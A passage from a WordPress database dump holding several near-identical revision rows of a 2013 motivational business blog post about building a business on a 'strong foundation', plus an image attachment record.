advantage. Make your strong and enduring foundation beautiful!\n\n<strong>Strong foundations are made of quality materials.</strong>\nIf your dreams, vision and business will stand the test of time, it must be comprised of the highest quality materials. Build your foundation in association with high quality partners, collaborators, and employees. People whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of materials used. Trusted relationships are what bond everything together.\n\n<strong>A strong foundation will protect your investment.</strong>\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the investment you make in your future. Building foundations is not glamorous work. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity. The lasting value of your business depends upon a solid foundation.\n\n<em>If you found this post helpful, please subscribe above.</em>\n\n<em>The White Hot Center Business Transformation Workshop provides an opportunity to go deeper into these ideas. It’s happening November 8 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Learn more here.</a></em>\n\n&nbsp;', 'Building your future on a strong foundation', 0, '', 'inherit', 'open', 'open', '', '2486-revision', '', '', '2013-08-20 18:11:21', '2013-08-21 01:11:21', '', 2486, 'http://www.whitehotcenter.com/2013/08/2486-revision/', 0, 'revision', '', 0),
(2490, 2, '2013-08-20 18:15:56', '2013-08-21 01:15:56', '<h1><img class="alignnone size-full wp-image-2487" title="mason-foundation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/mason-foundation.jpg" alt="" width="495" height="389" />Ask any architect and they will tell you the most important aspect of design is not the structure but the foundation. To design a business that endures, you’ll have to build it on a solid foundation.</h1>\nFoundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the building, but essential to withstand the constant movement of the earth and the erosion of the soil around it. Like any great structure, nothing is more fundamental to the enduring success of your business vision than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your enterprise.\n\nThe majority of my professional career has been helping business leaders, entrepreneurs and solo professionals build enduring foundations underneath their big ideas. I have always considered it sacred work. Strong foundations are the beginning of your success. If you don’t have one firmly in place, it’ll be next to impossible for your big idea to withstand the winds of eroding criticism, competition and the unpredictable forces of marketplace change.\n\nWhen creative entrepreneurs are visioning their future, the first actions they will undertake is finding the right soil for building their dream on. Excellent builders (and dreamers) start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\n<h2><strong>Building a strong foundation for your vision, big idea and business is the most important attribute in creating value for others.</strong></h2>\nHere’s what you need to consider before you break ground on your next big idea:\n\n<strong>Build your foundation on good ground. </strong>\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs have failed to heed.  In the rush to get somewhere, some like to take shortcuts. Your philosophy of life is your “good ground”. The good ground of your philosophy will include your purpose, your true north, your values, knowledge, character and integrity. Does your philosophy support the successful design of your future?  Is your philosophy solid as bedrock or liquid as sand?\n\n<strong>Your foundation must fit naturally into the landscape that surrounds it.</strong>\nIn architecture it’s called site planning. In business it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to your talent, skills, capabilities and knowledge and how that will fit into the marketplace are critical in defining your unique value to customers. You must know the lay of the land, your customer’s / client’s desires, hopes, aspirations and needs. Where do you fit? Who do you serve?\n\n<strong>Strong foundations go deep into the ground.</strong>\nIf you have an Empire State Building size idea or vision, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on deep and narrow expertise. What is the “one thing” that makes your business highly valued and distinctive among all other choices? Develop deep knowledge in the one thing you love and serves the good of others … don’t generalize–specialize! Big ideas require deep foundations!\n\n<strong>Strong foundations are well designed and engineered.</strong>\nHow your products, services and customer experiences are designed is a critical element in the foundation of your business. How you create and deliver value requires elegant engineering and good design…everything in the experience of doing business with you must be well thought out and properly executed. This is foundational to the make-up of extraordinary companies and brands. Design matters and determines competitive advantage. Make your strong and enduring foundation beautiful!\n\n<strong>Strong foundations are made of quality materials.</strong>\nIf your dreams, vision and business will stand the test of time, it must be comprised of the highest quality materials. Build your foundation in association with high quality partners, collaborators, and employees. People whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of materials used. Trusted relationships are what bond everything together.\n\n<strong>A strong foundation will protect your investment.</strong>\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the investment you make in your future. Building foundations is not glamorous work. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity. The lasting value of your business depends upon a solid foundation.\n\n<em>If you found this post helpful, please subscribe above.</em>\n\n<strong><em>The White Hot Center Business Transformation Workshop provides an opportunity to go deeper into these ideas. It’s happening November 8 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Learn more here.</a></em></strong>\n\n&nbsp;', 'Building your future on a strong foundation', 0, '', 'inherit', 'open', 'open', '', '2486-revision-3', '', '', '2013-08-20 18:15:56', '2013-08-21 01:15:56', '', 2486, 'http://www.whitehotcenter.com/2013/08/2486-revision-3/', 0, 'revision', '', 0),
(2489, 2, '2013-08-20 18:12:16', '2013-08-21 01:12:16', '<h1><img class="alignnone size-full wp-image-2487" title="mason-foundation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/mason-foundation.jpg" alt="" width="495" height="389" />\r\nAsk any architect and they will tell you the most important aspect of design is not the structure but the foundation. If you’re going to design and build a business that endures, you’ll have to build it on a solid foundation.</h1>\r\nFoundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the building, but essential to withstand the constant movement of the earth and the erosion of the soil around it. Like any great structure, nothing is more fundamental to the enduring success of your business vision than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your enterprise.\r\n\r\nThe majority of my professional career has been helping business leaders, entrepreneurs and solo professionals build enduring foundations underneath their big ideas. I have always considered it sacred work. Strong foundations are the beginning of your success. If you don’t have one firmly in place, it’ll be next to impossible for your big idea to withstand the winds of eroding criticism, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen creative entrepreneurs are visioning their future, the first actions they will undertake is finding the right soil for building their dream on. Excellent builders (and dreamers) start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2><strong>Building a strong foundation for your vision, big idea and business is the most important attribute in creating value for others.</strong></h2>\r\nHere’s what you need to consider before you break ground on your next big idea:\r\n\r\n<strong>Build your foundation on good ground. </strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs have failed to heed.  In the rush to get somewhere, some like to take shortcuts. Your philosophy of life is your “good ground”. The good ground of your philosophy will include your purpose, your true north, your values, knowledge, character and integrity. Does your philosophy support the successful design of your future?  Is your philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>Your foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to your talent, skills, capabilities and knowledge and how that will fit into the marketplace are critical in defining your unique value to customers. You must know the lay of the land, your customer’s / client’s desires, hopes, aspirations and needs. Where do you fit? Who do you serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size idea or vision, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on deep and narrow expertise. What is the “one thing” that makes your business highly valued and distinctive among all other choices? Develop deep knowledge in the one thing you love and serves the good of others … don’t generalize–specialize! Big ideas require deep foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your business. How you create and deliver value requires elegant engineering and good design…everything in the experience of doing business with you must be well thought out and properly executed. This is foundational to the make-up of extraordinary companies and brands. Design matters and determines competitive advantage. Make your strong and enduring foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your dreams, vision and business will stand the test of time, it must be comprised of the highest quality materials. Build your foundation in association with high quality partners, collaborators, and employees. People whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of materials used. Trusted relationships are what bond everything together.\r\n\r\n<strong>A strong foundation will protect your investment.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the investment you make in your future. Building foundations is not glamorous work. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity. The lasting value of your business depends upon a solid foundation.\r\n\r\n<em>If you found this post helpful, please subscribe above.</em>\r\n\r\n<strong><em>The White Hot Center Business Transformation Workshop provides an opportunity to go deeper into these ideas. It’s happening November 8 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Learn more here.</a></em></strong>\r\n\r\n&nbsp;', 'Building your future on a strong foundation', 0, '', 'inherit', 'open', 'open', '', '2486-revision-2', '', '', '2013-08-20 18:12:16', '2013-08-21 01:12:16', '', 2486, 'http://www.whitehotcenter.com/2013/08/2486-revision-2/', 0, 'revision', '', 0),
(2491, 2, '2013-08-20 18:18:56', '2013-08-21 01:18:56', '<h1><img class="alignnone size-full wp-image-2487" title="mason-foundation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/mason-foundation.jpg" alt="" width="495" height="389" />Ask any architect and they will tell you the most important aspect of design is not the structure but the foundation. To design a business that endures, you’ll have to build it on a solid foundation.</h1>\r\nFoundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the building, but essential to withstand the constant movement of the earth and the erosion of the soil around it. Like any great structure, nothing is more fundamental to the enduring success of your business vision than a strong foundation on which your bigger future will rest upon. The foundation you create will determine the stability and sustainability of your enterprise.\r\n\r\nThe majority of my professional career has been helping business leaders, entrepreneurs and solo professionals build enduring foundations underneath their big ideas. I have always considered it sacred work. Strong foundations are the beginning of your success. If you don’t have one firmly in place, it’ll be next to impossible for your big idea to withstand the winds of eroding criticism, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen creative entrepreneurs are visioning their future, the first actions they will undertake is finding the right soil for building their dream on. Excellent builders (and dreamers) start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2><strong>Building a strong foundation for your vision, big idea and business is the most important attribute in creating value for others.</strong></h2>\r\nHere’s what you need to consider before you break ground on your next big idea:\r\n\r\n<strong>Build your foundation on good ground. </strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs have failed to heed.  In the rush to get somewhere, some like to take shortcuts. Your philosophy of life is your “good ground”. The good ground of your philosophy will include your purpose, your true north, your values, knowledge, character and integrity. Does your philosophy support the successful design of your future?  Is your philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>Your foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to your talent, skills, capabilities and knowledge and how that will fit into the marketplace are critical in defining your unique value to customers. You must know the lay of the land, your customer’s / client’s desires, hopes, aspirations and needs. Where do you fit? Who do you serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size idea or vision, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on deep and narrow expertise. What is the “one thing” that makes your business highly valued and distinctive among all other choices? Develop deep knowledge in the one thing you love and serves the good of others … don’t generalize–specialize! Big ideas require deep foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your business. How you create and deliver value requires elegant engineering and good design…everything in the experience of doing business with you must be well thought out and properly executed. This is foundational to the make-up of extraordinary companies and brands. Design matters and determines competitive advantage. Make your strong and enduring foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your dreams, vision and business will stand the test of time, it must be comprised of the highest quality materials. Build your foundation in association with high quality partners, collaborators, and employees. People whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of materials used. Trusted relationships are what bond everything together.\r\n\r\n<strong>A strong foundation will protect your investment.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the investment you make in your future. Building foundations is not glamorous work. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity. The lasting value of your business depends upon a solid foundation.\r\n\r\n<em>If you found this post helpful, please subscribe above.</em>\r\n\r\n<strong><em>The White Hot Center Business Transformation Workshop provides an opportunity to go deeper into these ideas. It’s happening November 8 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Learn more here.</a></em></strong>\r\n\r\n&nbsp;', 'Building your future on a strong foundation', 0, '', 'inherit', 'open', 'open', '', '2486-revision-4', '', '', '2013-08-20 18:18:56', '2013-08-21 01:18:56', '', 2486, 'http://www.whitehotcenter.com/2013/08/2486-revision-4/', 0, 'revision', '', 0);
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(2492, 2, '2013-08-20 18:38:15', '2013-08-21 01:38:15', '<h1><img class="alignnone size-full wp-image-2487" title="mason-foundation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/mason-foundation.jpg" alt="" width="495" height="389" />Ask any architect and they will tell you the most important aspect of design is not the structure but the foundation. To design a business that endures, you’ll have to build it on a solid foundation.</h1>\nFoundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the building, but essential to withstand the constant movement of the earth and the erosion of the soil around it. Like any great structure, nothing is more fundamental to the enduring success of your business vision than a strong foundation on which your bigger future will rest upon.\n\n<strong>The foundation you create will determine the stability and sustainability of your enterprise.</strong>\n\nThe majority of my professional career has been helping business leaders, entrepreneurs and solo professionals build enduring foundations underneath their big ideas. I have always considered it sacred work–like a mid-wife helping to birth new ideas, products and services into the marketplace. Strong foundations are the beginning of success. If you don’t have one firmly in place, it’ll be next to impossible for your big idea to withstand the winds of eroding criticism, competition and the unpredictable forces of marketplace change.\n\nWhen creative entrepreneurs are visioning their future, the first actions they will undertake is finding the right soil for building their dream on. Excellent builders (and dreamers) start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\n<h2><strong>Building a strong foundation for your vision, big idea and business is the most important attribute in creating value for others.</strong></h2>\nHere’s what you need to consider before you break ground on your next big idea:\n\n<strong>Build your foundation on good ground. </strong>\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs have failed to heed.  In the rush to get somewhere, some like to take shortcuts. Your philosophy of life is your “good ground”. The good ground of your philosophy will include your purpose, your true north, your values, knowledge, character and integrity. Does your philosophy support the successful design of your future?  Is your philosophy solid as bedrock or liquid as sand?\n\n<strong>Your foundation must fit naturally into the landscape that surrounds it.</strong>\nIn architecture it’s called site planning. In business it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to your talent, skills, capabilities and knowledge and how that will fit into the marketplace are critical in defining your unique value to customers. You must know the lay of the land, your customer’s / client’s desires, hopes, aspirations and needs. Where do you fit? Who do you serve?\n\n<strong>Strong foundations go deep into the ground.</strong>\nIf you have an Empire State Building size idea or vision, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on deep and narrow expertise. What is the “one thing” that makes your business highly valued and distinctive among all other choices? Develop deep knowledge in the one thing you love and serves the good of others … don’t generalize–specialize! Big ideas require deep foundations!\n\n<strong>Strong foundations are well designed and engineered.</strong>\nHow your products, services and customer experiences are designed is a critical element in the foundation of your business. How you create and deliver value requires elegant engineering and good design…everything in the experience of doing business with you must be well thought out and properly executed. This is foundational to the make-up of extraordinary companies and brands. Design matters and determines competitive advantage. Make your strong and enduring foundation beautiful!\n\n<strong>Strong foundations are made of quality materials.</strong>\nIf your dreams, vision and business will stand the test of time, it must be comprised of the highest quality materials. Build your foundation in association with high quality partners, collaborators, and employees. People whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of materials used. Trusted relationships are what bond everything together.\n\n<strong>A strong foundation will protect your investment.</strong>\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the investment you make in your future. Building foundations is not glamorous work. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity. The lasting value of your business depends upon a solid foundation.\n\n<em>If you found this post helpful, please subscribe above.</em>\n\n<strong><em>The White Hot Center Business Transformation Workshop provides an opportunity to go deeper into these ideas. It’s happening November 8 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Learn more here.</a></em></strong>\n\n&nbsp;', 'Building your future on a strong foundation', 0, '', 'inherit', 'open', 'open', '', '2486-revision-5', '', '', '2013-08-20 18:38:15', '2013-08-21 01:38:15', '', 2486, 'http://www.whitehotcenter.com/2013/08/2486-revision-5/', 0, 'revision', '', 0),
(2493, 2, '2013-08-20 18:38:36', '2013-08-21 01:38:36', '<h1><img class="alignnone size-full wp-image-2487" title="mason-foundation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/mason-foundation.jpg" alt="" width="495" height="389" />Ask any architect and they will tell you the most important aspect of design is not the structure but the foundation. To design a business that endures, you’ll have to build it on a solid foundation.</h1>\r\nFoundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the building, but essential to withstand the constant movement of the earth and the erosion of the soil around it. Like any great structure, nothing is more fundamental to the enduring success of your business vision than a strong foundation on which your bigger future will rest upon.\r\n\r\n<strong>The foundation you create will determine the stability and sustainability of your enterprise.</strong>\r\n\r\nThe majority of my professional career has been helping business leaders, entrepreneurs and solo professionals build enduring foundations underneath their big ideas. I have always considered it sacred work–like a mid-wife helping to birth new ideas, products and services into the marketplace. Strong foundations are the beginning of success. If you don’t have one firmly in place, it’ll be next to impossible for your big idea to withstand the winds of eroding criticism, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen creative entrepreneurs are visioning their future, the first actions they will undertake is finding the right soil for building their dream on. Excellent builders (and dreamers) start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2><strong>Building a strong foundation for your vision, big idea and business is the most important attribute in creating value for others.</strong></h2>\r\nHere’s what you need to consider before you break ground on your next big idea:\r\n\r\n<strong>Build your foundation on good ground. </strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs have failed to heed.  In the rush to get somewhere, some like to take shortcuts. Your philosophy of life is your “good ground”. The good ground of your philosophy will include your purpose, your true north, your values, knowledge, character and integrity. Does your philosophy support the successful design of your future?  Is your philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>Your foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to your talent, skills, capabilities and knowledge and how that will fit into the marketplace are critical in defining your unique value to customers. You must know the lay of the land, your customer’s / client’s desires, hopes, aspirations and needs. Where do you fit? Who do you serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size idea or vision, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on deep and narrow expertise. What is the “one thing” that makes your business highly valued and distinctive among all other choices? Develop deep knowledge in the one thing you love and serves the good of others … don’t generalize–specialize! Big ideas require deep foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your business. How you create and deliver value requires elegant engineering and good design…everything in the experience of doing business with you must be well thought out and properly executed. This is foundational to the make-up of extraordinary companies and brands. Design matters and determines competitive advantage. Make your strong and enduring foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your dreams, vision and business will stand the test of time, it must be comprised of the highest quality materials. Build your foundation in association with high quality partners, collaborators, and employees. People whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of materials used. Trusted relationships are what bond everything together.\r\n\r\n<strong>A strong foundation will protect your investment.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the investment you make in your future. Building foundations is not glamorous work. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity. The lasting value of your business depends upon a solid foundation.\r\n\r\n<em>If you found this post helpful, please subscribe above.</em>\r\n\r\n<strong><em>The White Hot Center Business Transformation Workshop provides an opportunity to go deeper into these ideas. It’s happening November 8 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Learn more here.</a></em></strong>\r\n\r\n&nbsp;', 'Building your future on a strong foundation', 0, '', 'inherit', 'open', 'open', '', '2486-revision-6', '', '', '2013-08-20 18:38:36', '2013-08-21 01:38:36', '', 2486, 'http://www.whitehotcenter.com/2013/08/2486-revision-6/', 0, 'revision', '', 0),
(2494, 2, '2013-08-20 18:38:50', '2013-08-21 01:38:50', '<h1><img class="alignnone size-full wp-image-2487" title="mason-foundation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/mason-foundation.jpg" alt="" width="495" height="389" />Ask any architect and they will tell you the most important aspect of design is not the structure but the foundation. To design a business that endures, you’ll have to build it on a solid foundation.</h1>\r\nFoundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the building, but essential to withstand the constant movement of the earth and the erosion of the soil around it. Like any great structure, nothing is more fundamental to the enduring success of your business vision than a strong foundation on which your bigger future will rest upon.\r\n\r\n<strong>The foundation you create will determine the stability and sustainability of your enterprise.</strong>\r\n\r\nThe majority of my professional career has been helping business leaders, entrepreneurs and solo professionals build enduring foundations underneath their big ideas. I have always considered it sacred work–like a mid-wife helping to birth new ideas, products and services into the marketplace. Strong foundations are the beginning of success. If you don’t have one firmly in place, it’ll be next to impossible for your big idea to withstand the winds of eroding criticism, competition and the unpredictable forces of marketplace change.\r\n\r\nWhen creative entrepreneurs are visioning their future, the first actions they will undertake is finding the right soil for building their dream on. Excellent builders (and dreamers) start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!\r\n<h2><strong>Building a strong foundation for your vision, big idea and business is the most important attribute in creating value for others.</strong></h2>\r\nHere’s what you need to consider before you break ground on your next big idea:\r\n\r\n<strong>Build your foundation on good ground. </strong>\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs have failed to heed.  In the rush to get somewhere, some like to take shortcuts. Your philosophy of life is your “good ground”. The good ground of your philosophy will include your purpose, your true north, your values, knowledge, character and integrity. Does your philosophy support the successful design of your future?  Is your philosophy solid as bedrock or liquid as sand?\r\n\r\n<strong>Your foundation must fit naturally into the landscape that surrounds it.</strong>\r\nIn architecture it’s called site planning. In business it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to your talent, skills, capabilities and knowledge and how that will fit into the marketplace are critical in defining your unique value to customers. You must know the lay of the land, your customer’s / client’s desires, hopes, aspirations and needs. Where do you fit? Who do you serve?\r\n\r\n<strong>Strong foundations go deep into the ground.</strong>\r\nIf you have an Empire State Building size idea or vision, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on deep and narrow expertise. What is the “one thing” that makes your business highly valued and distinctive among all other choices? Develop deep knowledge in the one thing you love and serves the good of others … don’t generalize–specialize! Big ideas require deep foundations!\r\n\r\n<strong>Strong foundations are well designed and engineered.</strong>\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your business. How you create and deliver value requires elegant engineering and good design…everything in the experience of doing business with you must be well thought out and properly executed. This is foundational to the make-up of extraordinary companies and brands. Design matters and determines competitive advantage. Make your strong and enduring foundation beautiful!\r\n\r\n<strong>Strong foundations are made of quality materials.</strong>\r\nIf your dreams, vision and business will stand the test of time, it must be comprised of the highest quality materials. Build your foundation in association with high quality partners, collaborators, and employees. People whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of materials used. Trusted relationships are what bond everything together.\r\n\r\n<strong>A strong foundation will protect your investment.</strong>\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the investment you make in your future. Building foundations is not glamorous work. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity. The lasting value of your business depends upon a solid foundation.\r\n\r\n<em>If you found this post helpful, please subscribe above.</em>\r\n\r\n<strong><em>The White Hot Center Business Transformation Workshop provides an opportunity to go deeper into these ideas. It’s happening November 8 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Learn more here.</a></em></strong>\r\n\r\n&nbsp;', 'Building your future on a strong foundation', 0, '', 'inherit', 'open', 'open', '', '2486-revision-7', '', '', '2013-08-20 18:38:50', '2013-08-21 01:38:50', '', 2486, 'http://www.whitehotcenter.com/2013/08/2486-revision-7/', 0, 'revision', '', 0),
(2512, 2, '2013-10-07 17:19:58', '2013-10-08 00:19:58', '', 'castles', 0, 'Castles in the Mind', 'inherit', 'open', 'open', '', 'castles', '', '', '2013-10-07 17:19:58', '2013-10-08 00:19:58', '', 2511, 'http://www.whitehotcenter.com/wp-content/uploads/2013/10/castles.jpg', 0, 'attachment', 'image/jpeg', 0),
(2496, 2, '2013-08-20 18:45:16', '2013-08-21 01:45:16', '<h1><img class="alignnone size-full wp-image-2487" title="mason-foundation" src="http://whc.fbdev.org/wp-content/uploads/2013/08/mason-foundation.jpg" alt="" width="495" height="389" />Ask any architect and they will tell you the most important aspect of design is not the structure but the foundation. To design a business that endures, you’ll have to build it on a solid foundation.</h1>\r\n<p>Foundations aren’t as glamorous as the stunning design of the architecture itself, but they are critical to supporting not only the weight of the building, but essential to withstand the constant movement of the earth and the erosion of the soil around it. Like any great structure, nothing is more fundamental to the enduring success of your business vision than a strong foundation on which your bigger future will rest upon.</p>\r\n<p><strong>The foundation you create will determine the stability and sustainability of your enterprise.</strong></p>\r\n<p>The majority of my professional career has been helping business leaders, entrepreneurs and solo professionals build enduring foundations underneath their big ideas. I have always considered it sacred work–like a mid-wife helping to birth new ideas, products and services into the marketplace. Strong foundations are the beginning of success. If you don’t have one firmly in place, it’ll be next to impossible for your big idea to withstand the winds of eroding criticism, competition and the unpredictable forces of marketplace change.</p>\r\n<p>When creative entrepreneurs are visioning their future, the first actions they will undertake is finding the right soil for building their dream on. Excellent builders (and dreamers) start at the ground level…in the dirt building a foundation worthy of their highest ideals and biggest vision!</p>\r\n<h2><strong>Building a strong foundation for your vision, big idea and business is the most important attribute in creating value for others.</strong></h2>\r\n<p>Here’s what you need to consider before you break ground on your next big idea:</p>\r\n<p><strong>Build your foundation on good ground. </strong><br />\r\nDon’t build your castles in the sand is a timeless cliché you’ve heard time and again. It’s also timeless advice many entrepreneurs have failed to heed.  In the rush to get somewhere, some like to take shortcuts. Your philosophy of life is your “good ground”. The good ground of your philosophy will include your purpose, your true north, your values, knowledge, character and integrity. Does your philosophy support the successful design of your future?  Is your philosophy solid as bedrock or liquid as sand?</p>\r\n<p><strong>Your foundation must fit naturally into the landscape that surrounds it.</strong><br />\r\nIn architecture it’s called site planning. In business it’s called strategic planning. Your foundation has to fit naturally and beautifully into the lay of the land otherwise known as the marketplace. How you position your foundation relative to your talent, skills, capabilities and knowledge and how that will fit into the marketplace are critical in defining your unique value to customers. You must know the lay of the land, your customer’s / client’s desires, hopes, aspirations and needs. Where do you fit? Who do you serve?</p>\r\n<p><strong>Strong foundations go deep into the ground.</strong><br />\r\nIf you have an Empire State Building size idea or vision, you’ll have to build your foundation deep into the ground. This means you must focus all your creative energy on deep and narrow expertise. What is the “one thing” that makes your business highly valued and distinctive among all other choices? Develop deep knowledge in the one thing you love and serves the good of others … don’t generalize–specialize! Big ideas require deep foundations!</p>\r\n<p><strong>Strong foundations are well designed and engineered.</strong><br />\r\nHow your products, services and customer experiences are designed is a critical element in the foundation of your business. How you create and deliver value requires elegant engineering and good design…everything in the experience of doing business with you must be well thought out and properly executed. This is foundational to the make-up of extraordinary companies and brands. Design matters and determines competitive advantage. Make your strong and enduring foundation beautiful!</p>\r\n<p><strong>Strong foundations are made of quality materials.</strong><br />\r\nIf your dreams, vision and business will stand the test of time, it must be comprised of the highest quality materials. Build your foundation in association with high quality partners, collaborators, and employees. People whose passion for excellence and success is equal and greater to your own. A foundation is only as strong as the quality of materials used. Trusted relationships are what bond everything together.</p>\r\n<p><strong>A strong foundation will protect your investment.</strong><br />\r\nIf you’re planning to put something remarkable and extraordinary on top of your foundation, you will need to invest a great deal of time, energy and money. The quality of your foundation must support and protect the investment you make in your future. Building foundations is not glamorous work. Remember just because most of your foundation is below ground and not seen by your customers, doesn’t mean you can compromise any aspect of its integrity. The lasting value of your business depends upon a solid foundation.</p>\r\n<p><em>If you found this post helpful, please subscribe above.</em></p>\r\n<p><strong><em>The White Hot Center Business Transformation Workshop provides an opportunity to go deeper into these ideas. It’s happening November 8 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank">Learn more here.</a></em></strong></p>\r\n<p>&nbsp;</p>\r\n', 'Building your future on a strong foundation', 0, '', 'inherit', 'open', 'open', '', '2486-revision-8', '', '', '2013-08-20 18:45:16', '2013-08-21 01:45:16', '', 2486, 'http://www.whitehotcenter.com/2013/08/2486-revision-8/', 0, 'revision', '', 0),
